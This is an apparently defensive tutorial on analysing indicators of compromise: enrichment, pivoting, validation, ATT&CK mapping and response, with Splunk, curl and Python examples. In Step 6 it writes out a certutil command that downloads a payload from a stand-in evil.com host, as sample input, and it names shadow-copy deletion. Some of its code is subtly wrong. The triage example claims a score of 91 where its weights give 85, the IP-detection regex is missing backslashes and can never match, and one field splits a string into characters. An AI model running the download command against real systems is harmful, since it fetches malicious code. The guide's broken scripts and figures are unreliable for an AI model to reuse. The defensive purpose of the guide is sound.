IOC Analysis Step-by-Step: A Complete Guide for Threat Hunters
A complete, practitioner-focused guide to Indicator of Compromise analysis: from IP addresses and domains to file hashes and network artifacts. Includes real-world examples, tooling, automation scripts, and MITRE ATT&CK mapping.
Introduction: What Is an IOC?
An Indicator of Compromise (IOC) is a forensic artifact observed on a network or host that, with high confidence, indicates a computer intrusion or malicious activity. IOCs are the bread and butter of threat intelligence sharing, incident response, and proactive threat hunting.
Unlike Indicators of Attack (IOAs) — which describe behavior — IOCs describe evidence left behind. Think of them as digital fingerprints at a crime scene.
IOC types at a glance
| Type | Example | Volatility |
|---|---|---|
| File hash (MD5/SHA1/SHA256) | d41d8cd98f00b204e9800998ecf8427e |
Low |
| IP address | 185.220.101.45 |
High |
| Domain name | update-cdn-secure.com |
Medium |
| URL | https://evil.ru/gate.php?id=victim |
Medium |
| Email address | [email protected] |
Medium |
| Registry key | HKCU\Software\Microsoft\Windows\Run\svchost32 |
Low |
| Mutex | Global\MicrosoftWindowsUpdateMutex |
Low |
| User-Agent string | Mozilla/5.0 (compatible; MSIE 6.0) |
Medium |
| SSL certificate hash | SHA1: AA:BB:CC:... |
Low |
| Network signature | GET /c2/checkin HTTP/1.1 |
Medium |
The Pyramid of Pain (David Bianco, 2013): File hashes are at the bottom — trivial for attackers to change. TTPs are at the top — expensive to change. Always aim to extract IOCs as high up the pyramid as possible.
Step 1 — Collection: Where Do IOCs Come From?
Before you can analyze an IOC, you need to find it. Sources fall into two categories.
Internal sources (your own environment)
SIEM alerts → Splunk, Elastic, Microsoft Sentinel
EDR telemetry → CrowdStrike, SentinelOne, Defender for Endpoint
Firewall / proxy logs → Palo Alto, Zscaler, Squid
DNS logs → Windows DNS debug logs, Zeek dns.log
Email gateway → Proofpoint, Mimecast headers + attachments
Memory dump → Volatility, WinPmem output
Disk image → dd, FTK Imager acquisition
Network capture → .pcap from Wireshark / tcpdump / Zeek
External sources (threat intelligence feeds)
Free / open:
- AlienVault OTX → otx.alienvault.com
- Abuse.ch (URLhaus, MalwareBazaar, Feodo, ThreatFox)
- Shodan → shodan.io
- VirusTotal → virustotal.com
- MalwareBazaar → bazaar.abuse.ch
- MISP communities → misp-project.org
Commercial:
- Recorded Future
- Mandiant Advantage
- CrowdStrike Falcon X
- Mlab.sh → mlab.sh (IP, domain, hash, crypto scanning)
Practical example — extracting IOCs from a SIEM alert
# Splunk: extract all unique IPs from a suspicious process alert
index=windows EventCode=4688 New_Process_Name="*powershell*"
| rex field=Command_Line "(?P<ip>\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b)"
| stats count by ip, host, user
| sort -count
# Extract domains from proxy logs
index=proxy
| rex field=url "https?://(?P<domain>[^/]+)"
| where NOT match(domain, "^(.*\.microsoft\.com|.*\.windows\.com)$")
| stats count by domain
| sort -count
Step 2 — Triage: Is This IOC Worth Investigating?
Not every IOC deserves the same level of attention. Triage prevents alert fatigue.
The 3-question triage framework
1. Is it in scope? Does this IOC appear in your environment (your IP ranges, your users, your endpoints)?
2. Is it known-bad? Check against threat feeds immediately. A hash matching a known Emotet dropper is an instant P1.
3. What is the blast radius? How many assets are potentially affected? One endpoint vs. 500 is a very different incident.
Scoring model example
def triage_score(ioc: dict) -> int:
score = 0
# Source reliability (0-30)
if ioc["source"] == "internal_siem": score += 30
elif ioc["source"] == "edr_alert": score += 25
elif ioc["source"] == "threat_feed": score += 15
# Feed corroboration (0-30)
score += min(ioc.get("feed_hits", 0) * 5, 30)
# IOC type weight (0-20)
type_weights = {
"hash": 20, "mutex": 18, "registry": 16,
"domain": 12, "ip": 10, "url": 10, "email": 8
}
score += type_weights.get(ioc["type"], 5)
# Asset criticality (0-20)
if ioc.get("asset_criticality") == "critical": score += 20
elif ioc.get("asset_criticality") == "high": score += 12
elif ioc.get("asset_criticality") == "medium": score += 6
return score # 0-100; >= 70 = P1, 40-69 = P2, < 40 = monitor
# Example
sample = {
"type": "hash",
"source": "edr_alert",
"feed_hits": 4,
"asset_criticality": "critical"
}
print(triage_score(sample)) # → 91 → P1
Step 3 — Enrichment: Building Context Around the IOC
Raw IOCs are almost useless without context. Enrichment transforms a bare artifact into actionable intelligence.
3a. IP address enrichment
# Whois
whois 185.220.101.45
# ASN lookup
curl -s https://ipinfo.io/185.220.101.45/json | jq .
# Passive DNS (who has this IP resolved to?)
curl -s "https://api.mlab.sh/v1/ip/185.220.101.45" -H "X-API-Key: $MLAB_KEY" | jq .
# Shodan
curl -s "https://api.shodan.io/shodan/host/185.220.101.45?key=$SHODAN_KEY" | jq .
# Check Tor exit node / VPN / datacenter
curl -s https://check.torproject.org/cgi-bin/TorBulkExitList.py | grep 185.220.101.45
What to look for in the output:
{
"ip": "185.220.101.45",
"asn": "AS4134",
"org": "Chinanet",
"country": "CN",
"city": "Beijing",
"open_ports": [443, 8080, 4444],
"tags": ["tor-exit", "proxy"],
"last_seen_malicious": "2024-11-02",
"feed_matches": ["Feodo", "EmergingThreats", "CINS"]
}
Red flags: datacenter ASN + no reverse DNS + Tor/VPN tag + multiple feed hits + port 4444 (Metasploit default).
3b. Domain enrichment
# WHOIS — check registration date (brand-new domains are suspicious)
whois update-cdn-secure.com | grep -E "Creation|Registrar|Name Server"
# DNS resolution history
dig +short update-cdn-secure.com A
dig +short update-cdn-secure.com MX
dig +short update-cdn-secure.com TXT
# Check all DNS record types
dig update-cdn-secure.com ANY
# Passive DNS via SecurityTrails (or VirusTotal)
curl -s "https://api.securitytrails.com/v1/domain/update-cdn-secure.com/dns/a" \
-H "apikey: $ST_KEY" | jq .
# Certificate transparency — find subdomains
curl -s "https://crt.sh/?q=%.update-cdn-secure.com&output=json" | jq '.[].name_value' | sort -u
Domain analysis checklist:
- Registered < 30 days ago → high suspicion
- Registrar is Namecheap / GoDaddy + privacy guard → common for malicious infra
- No MX records (not used for email) → pure C2 / phishing redirect
- DGA-like pattern:
xkqzwplt.com,a7f3b9d1.net→ automated generation - Typosquatting:
micros0ft-update.com,paypa1-secure.net - Subdomain abuse:
login.paypal.com.phishing-site.ru
3c. File hash enrichment
import requests
def enrich_hash(sha256: str, vt_key: str) -> dict:
url = f"https://www.virustotal.com/api/v3/files/{sha256}"
headers = {"x-apikey": vt_key}
r = requests.get(url, headers=headers)
data = r.json()["data"]["attributes"]
return {
"name": data.get("meaningful_name", "unknown"),
"type": data.get("type_description"),
"size": data.get("size"),
"first_seen": data.get("first_submission_date"),
"last_seen": data.get("last_submission_date"),
"detections": f"{data['last_analysis_stats']['malicious']} / {sum(data['last_analysis_stats'].values())}",
"families": list(data.get("popular_threat_classification", {}).get("suggested_threat_label", "")),
"tags": data.get("tags", []),
"sandbox_verdict": data.get("sandbox_verdicts", {})
}
result = enrich_hash("d85...sha256here...", "YOUR_VT_KEY")
print(result)
# → {'name': 'invoice_Q4.exe', 'type': 'Win32 EXE', 'detections': '58/72',
# 'families': ['emotet'], 'tags': ['spreader', 'trojan']}
3d. URL enrichment
# urlscan.io — safe browser-based scan
curl -s -X POST "https://urlscan.io/api/v1/scan/" \
-H "API-Key: $URLSCAN_KEY" \
-H "Content-Type: application/json" \
-d '{"url": "https://evil.ru/gate.php?id=victim", "visibility": "private"}' | jq .uuid
# Retrieve result (wait ~10s)
curl -s "https://urlscan.io/api/v1/result/$UUID/" | jq '{
verdict: .verdicts.overall,
ip: .page.ip,
server: .page.server,
redirects: [.data.requests[].response.redirectURL // empty],
screenshot: .task.screenshotURL
}'
# Google Safe Browsing check
curl -s -X POST "https://safebrowsing.googleapis.com/v4/threatMatches:find?key=$GSB_KEY" \
-H "Content-Type: application/json" \
-d '{
"client": {"clientId": "analyst", "clientVersion": "1.0"},
"threatInfo": {
"threatTypes": ["MALWARE","SOCIAL_ENGINEERING"],
"platformTypes": ["ANY_PLATFORM"],
"threatEntryTypes": ["URL"],
"threatEntries": [{"url": "https://evil.ru/gate.php"}]
}
}' | jq .
3e. Email header analysis
Received: from smtp.facture-secure.com (185.220.101.45)
by mx.victim.com with ESMTP id abc123
for <[email protected]>; Mon, 4 Nov 2024 09:12:33 +0000
From: "DHL Delivery" <[email protected]>
Reply-To: [email protected]
X-Mailer: The Bat! 9.3 (Windows)
X-Originating-IP: 185.220.101.45
DKIM-Signature: v=1; a=rsa-sha256; d=facture-secure.com; ...
Red flags in this header:
- Sending IP (
185.220.101.45) matches known Feodo C2 list Reply-Tois a temp-mail address (credential harvesting)X-Mailer: The Bat!— common in Eastern European phishing campaigns- Domain
facture-secure.comregistered 3 days prior
# Validate DKIM/SPF/DMARC
python3 -c "
import dns.resolver
domain = 'facture-secure.com'
for t in ['TXT']:
try:
ans = dns.resolver.resolve(f'_dmarc.{domain}', t)
print('DMARC:', [r.to_text() for r in ans])
except: print('No DMARC record — spoofing trivial')
"
Step 4 — Pivoting: From One IOC to Many
Pivoting is the art of using one confirmed IOC to discover related infrastructure, files, or actors. This is where threat hunting gets powerful.
Pivot strategies
Starting point Pivot to Tool
────────────────────────────────────────────────────────────
IP address → Domains hosted on it Shodan, RiskIQ, SecurityTrails
Domain → Historical IPs VirusTotal, PassiveTotal
Domain → Subdomains crt.sh, Amass, SecurityTrails
SSL certificate → Other domains using it Censys, Shodan
File hash → Related samples VirusTotal "Similar files"
File hash → Dropped files VirusTotal behavior sandbox
C2 URL pattern → Other C2 URLs VirusTotal, URLhaus
Mutex → Other samples with mutex MalwareBazaar YARA search
Registry key → Malware family Google + VirusTotal
Email sender → Other campaigns Hunter.io, VirusTotal
Practical pivot example — from one IP to an entire C2 cluster
import requests, json
SHODAN_KEY = "YOUR_KEY"
MLAB_KEY = "YOUR_KEY"
seed_ip = "185.220.101.45"
# Step 1: get open ports + banner from Shodan
r = requests.get(f"https://api.shodan.io/shodan/host/{seed_ip}?key={SHODAN_KEY}")
host = r.json()
ssl_fingerprint = host.get("ssl", {}).get("cert", {}).get("fingerprint", {}).get("sha256")
org = host.get("org")
print(f"SSL fingerprint: {ssl_fingerprint}")
print(f"Org: {org}")
# Step 2: find all IPs sharing the same SSL cert (Censys)
censys_url = "https://search.censys.io/api/v2/hosts/search"
query = f'services.tls.certificates.leaf_data.fingerprint="{ssl_fingerprint}"'
r2 = requests.post(censys_url,
auth=("CENSYS_ID", "CENSYS_SECRET"),
json={"q": query, "per_page": 25})
hits = r2.json().get("result", {}).get("hits", [])
related_ips = [h["ip"] for h in hits]
print(f"Related IPs sharing SSL cert: {related_ips}")
# Step 3: scan each related IP on Mlab.sh
for ip in related_ips:
r3 = requests.get(f"https://api.mlab.sh/v1/ip/{ip}",
headers={"X-API-Key": MLAB_KEY})
verdict = r3.json().get("verdict", "unknown")
print(f" {ip} → {verdict}")
Step 5 — Validation: Confirming True Positives
Enrichment tells you what the IOC might be. Validation tells you if it actually hit your environment.
Validate an IP hit in firewall logs
# Search Zeek conn.log for C2 IP
cat /var/log/zeek/conn.log | zeek-cut ts id.orig_h id.resp_h id.resp_p proto bytes \
| awk '$3 == "185.220.101.45"' \
| sort -k1
# Check for beaconing pattern (regular intervals = C2 heartbeat)
cat /var/log/zeek/conn.log | zeek-cut ts id.orig_h id.resp_h id.resp_p duration bytes \
| awk '$3 == "185.220.101.45" {print $1}' \
| awk 'NR>1{print $1-prev} {prev=$1}' \
| sort | uniq -c | sort -rn | head
# Regular intervals (e.g. every 60s) = strong beaconing indicator
Validate a hash hit on endpoints (CrowdStrike RTR)
# CrowdStrike Real Time Response — search all hosts
falcon-rtr --command "filefind" --arguments "--path C:\ --hash d85abc..."
# Carbon Black — process search by hash
cbapi-live-response search --sha256 d85abc... --last 7d
Validate a domain in DNS logs
# Windows DNS debug log
Select-String -Path "C:\Windows\System32\dns\dns.log" -Pattern "update-cdn-secure"
# Zeek dns.log
cat /var/log/zeek/dns.log | zeek-cut ts id.orig_h query qtype_name answers \
| grep "update-cdn-secure"
# Splunk query
index=dns query="*update-cdn-secure*"
| stats count by src_ip, query, answer
| sort -count
Step 6 — MITRE ATT&CK Mapping
Every confirmed IOC should be mapped to one or more ATT&CK techniques. This transforms isolated artifacts into tactical intelligence.
Common IOC → ATT&CK mappings
IOC type / behavior ATT&CK Technique
────────────────────────────────────────────────────────────────────────────
Encoded PowerShell in command line T1059.001 - PowerShell
Scheduled task persistence key T1053.005 - Scheduled Task
HKCU\Run registry key T1547.001 - Registry Run Keys
LSASS memory access (Mimikatz) T1003.001 - LSASS Memory
Beaconing to C2 IP (regular interval) T1071.001 - Web Protocols
DGA domain pattern T1568.002 - Domain Generation Algorithms
Base64-encoded payload in macro T1027 - Obfuscated Files
Certutil used to download file T1105 - Ingress Tool Transfer
vssadmin delete shadows T1490 - Inhibit System Recovery
WMI used for lateral movement T1047 - Windows Management Instrumentation
Tagging IOCs programmatically
ATTACK_MAP = {
"vssadmin": {"technique": "T1490", "tactic": "impact", "name": "Inhibit System Recovery"},
"CreateRemoteThread": {"technique": "T1055", "tactic": "defense-evasion", "name": "Process Injection"},
"certutil": {"technique": "T1105", "tactic": "command-and-control", "name": "Ingress Tool Transfer"},
"LSASS": {"technique": "T1003.001", "tactic": "credential-access", "name": "LSASS Memory"},
"schtasks": {"technique": "T1053.005", "tactic": "persistence", "name": "Scheduled Task"},
}
def map_to_attack(ioc_string: str) -> list:
results = []
for keyword, technique in ATTACK_MAP.items():
if keyword.lower() in ioc_string.lower():
results.append(technique)
return results
print(map_to_attack("certutil.exe -urlcache -split -f http://evil.com/payload.exe"))
# → [{'technique': 'T1105', 'tactic': 'command-and-control', 'name': 'Ingress Tool Transfer'}]
Step 7 — Response and Containment
Once an IOC is confirmed, you need to act fast.
Response actions by IOC type
IOC type Immediate action Long-term action
──────────────────────────────────────────────────────────────────────────
IP address Block on firewall / proxy Threat feed update, sinkhole
Domain DNS sinkhole or block on resolver WHOIS abuse report, registrar takedown
File hash EDR quarantine + delete YARA rule deployment, AV signature
URL Proxy / web gateway block urlscan.io report
Registry key EDR remediation script Persistence hunting across fleet
Email sender Mail gateway block Abuse report, DMARC enforcement
Mutex Memory scan across fleet YARA rule (in-memory)
Automated block via firewall API
import requests
def block_ip_on_paloalto(ip: str, pa_host: str, api_key: str):
# Add IP to dynamic address group
payload = {
"type": "config",
"action": "set",
"key": api_key,
"xpath": "/config/devices/entry/vsys/entry[@name='vsys1']/address",
"element": f"<entry name='block-{ip}'><ip-netmask>{ip}/32</ip-netmask></entry>"
}
r = requests.post(f"https://{pa_host}/api/", params=payload, verify=False)
print(f"Block {ip}: {r.status_code}")
block_ip_on_paloalto("185.220.101.45", "pa.corp.local", "LUFRPT1...")
EDR mass quarantine (CrowdStrike Falcon)
from falconpy import Hosts, RealTimeResponse
hosts_api = Hosts(client_id="ID", client_secret="SECRET")
rtr_api = RealTimeResponse(client_id="ID", client_secret="SECRET")
# Find all hosts where the hash was seen
result = hosts_api.query_devices_by_filter(
filter=f"sha256_hash:'{malicious_hash}'"
)
host_ids = result["body"]["resources"]
print(f"Found {len(host_ids)} infected hosts")
# Contain them all
for host_id in host_ids:
hosts_api.perform_action(action_name="contain", ids=[host_id])
print(f"Contained: {host_id}")
Step 8 — Sharing and Reporting
Intelligence is only valuable when shared. Two key formats dominate the industry.
STIX 2.1 — structured threat intelligence
from stix2 import Indicator, Malware, Relationship, Bundle
# Create an indicator
indicator = Indicator(
name="Emotet C2 IP",
description="Confirmed Emotet C2 server observed Nov 2024",
pattern_type="stix",
pattern="[ipv4-addr:value = '185.220.101.45']",
labels=["malicious-activity"],
confidence=90
)
# Create associated malware object
malware = Malware(
name="Emotet",
is_family=True,
malware_types=["trojan", "banker"]
)
# Link them
rel = Relationship(
relationship_type="indicates",
source_ref=indicator.id,
target_ref=malware.id
)
bundle = Bundle(objects=[indicator, malware, rel])
print(bundle.serialize(pretty=True))
MISP event creation
from pymisp import ExpandedPyMISP, MISPEvent, MISPAttribute
api = ExpandedPyMISP("https://misp.corp/", "API_KEY", False)
event = MISPEvent()
event.info = "Emotet campaign — November 2024 — Invoice lure"
event.distribution = 1 # community
event.threat_level_id = 1 # high
event.analysis = 2 # completed
# Add attributes
iocs = [
("ip-dst", "185.220.101.45"),
("domain", "update-cdn-secure.com"),
("md5", "d41d8cd98f00b204e9800998ecf8427e"),
("url", "https://update-cdn-secure.com/invoice/Q4_2024.doc"),
("email-src", "[email protected]"),
]
for attr_type, value in iocs:
attr = MISPAttribute()
attr.type = attr_type
attr.value = value
attr.to_ids = True # push to detection systems
event.add_attribute(**attr)
created = api.add_event(event)
print(f"MISP event created: {created['Event']['id']}")
Step 9 — Complete Automated IOC Analysis Pipeline
Putting it all together: a single script that ingests an IOC, enriches it, scores it, maps it to ATT&CK, and outputs a structured report.
import requests, json, hashlib
from datetime import datetime
class IOCAnalyzer:
def __init__(self, vt_key, mlab_key, shodan_key):
self.vt_key = vt_key
self.mlab_key = mlab_key
self.shodan_key = shodan_key
def detect_type(self, ioc: str) -> str:
import re
if re.match(r'^[a-f0-9]{32}$', ioc): return "md5"
if re.match(r'^[a-f0-9]{40}$', ioc): return "sha1"
if re.match(r'^[a-f0-9]{64}$', ioc): return "sha256"
if re.match(r'^d{1,3}(.d{1,3}){3}$', ioc): return "ip"
if re.match(r'^https?://', ioc): return "url"
if re.match(r'^[^@]+@[^@]+.[^@]+$', ioc): return "email"
return "domain"
def enrich_ip(self, ip: str) -> dict:
r = requests.get(f"https://ipinfo.io/{ip}/json")
data = r.json()
vt = requests.get(
f"https://www.virustotal.com/api/v3/ip_addresses/{ip}",
headers={"x-apikey": self.vt_key}
).json()
malicious = vt.get("data", {}).get("attributes", {}) \
.get("last_analysis_stats", {}).get("malicious", 0)
return {
"asn": data.get("org"),
"country": data.get("country"),
"city": data.get("city"),
"vt_malicious_engines": malicious,
"is_datacenter": any(x in data.get("org","").lower()
for x in ["hosting","cloud","datacenter","vps"])
}
def enrich_hash(self, sha256: str) -> dict:
r = requests.get(
f"https://www.virustotal.com/api/v3/files/{sha256}",
headers={"x-apikey": self.vt_key}
)
attr = r.json().get("data", {}).get("attributes", {})
stats = attr.get("last_analysis_stats", {})
return {
"name": attr.get("meaningful_name"),
"type": attr.get("type_description"),
"size": attr.get("size"),
"detections": f"{stats.get('malicious',0)}/{sum(stats.values()) or 1}",
"family": attr.get("popular_threat_classification", {})
.get("suggested_threat_label", "unknown"),
"tags": attr.get("tags", [])
}
def score(self, enrichment: dict, ioc_type: str) -> int:
score = 0
if ioc_type in ("md5","sha1","sha256"):
det = enrichment.get("detections","0/1")
ratio = int(det.split("/")[0]) / max(int(det.split("/")[1]),1)
score += int(ratio * 60)
if ioc_type == "ip":
score += enrichment.get("vt_malicious_engines", 0) * 3
if enrichment.get("is_datacenter"): score += 20
return min(score, 100)
def analyze(self, ioc: str) -> dict:
ioc_type = self.detect_type(ioc)
enrichment = {}
if ioc_type == "ip":
enrichment = self.enrich_ip(ioc)
elif ioc_type == "sha256":
enrichment = self.enrich_hash(ioc)
risk_score = self.score(enrichment, ioc_type)
severity = "CRITICAL" if risk_score >= 80 else \
"HIGH" if risk_score >= 60 else \
"MEDIUM" if risk_score >= 40 else "LOW"
return {
"ioc": ioc,
"type": ioc_type,
"analyzed_at": datetime.utcnow().isoformat() + "Z",
"enrichment": enrichment,
"risk_score": risk_score,
"severity": severity,
"recommended_action": "BLOCK_IMMEDIATELY" if risk_score >= 80 else
"MONITOR_AND_ALERT" if risk_score >= 40 else
"WATCH_LIST"
}
# Usage
analyzer = IOCAnalyzer("VT_KEY", "MLAB_KEY", "SHODAN_KEY")
report = analyzer.analyze("185.220.101.45")
print(json.dumps(report, indent=2))
Step 10 — Tooling Reference
Open-source tools
| Tool | Purpose | Install |
|---|---|---|
| theHarvester | OSINT / domain recon | pip install theHarvester |
| Maltego CE | Graph-based pivoting | maltego.com |
| MISP | IOC sharing platform | misp-project.org |
| OpenCTI | Threat intel platform | opencti.io |
| Cortex | Automated analysis | thehive-project.org |
| Zeek | Network traffic analysis | zeek.org |
| Volatility 3 | Memory forensics | github.com/volatilityfoundation |
| Yara | Pattern matching | virustotal.github.io/yara |
| FLOSS | String extraction (obfuscated) | github.com/mandiant/flare-floss |
API-based platforms
| Platform | Speciality | Free tier |
|---|---|---|
| Mlab.sh | IP, domain, hash, crypto IOC scan | Yes |
| VirusTotal | File, URL, domain, IP | Yes (4 req/min) |
| Shodan | Internet-wide port/banner scan | Yes (limited) |
| Censys | TLS cert pivot, host search | Yes (250 req/month) |
| SecurityTrails | Passive DNS, WHOIS history | Yes (50 req/month) |
| urlscan.io | Safe URL scanning | Yes |
| AbuseIPDB | IP reputation | Yes |
Resources
- MITRE ATT&CK — attack.mitre.org
- Mlab.sh — mlab.sh (detect IOC, scan IPs, domains, hashes, crypto)
- OpenIOC — mandiant.com (IOC format specification)
- STIX/TAXII — oasis-open.org (sharing standards)
- The Pyramid of Pain — detect-respond.blogspot.com (David Bianco)
- Threat Intelligence Handbook — recorded future free resource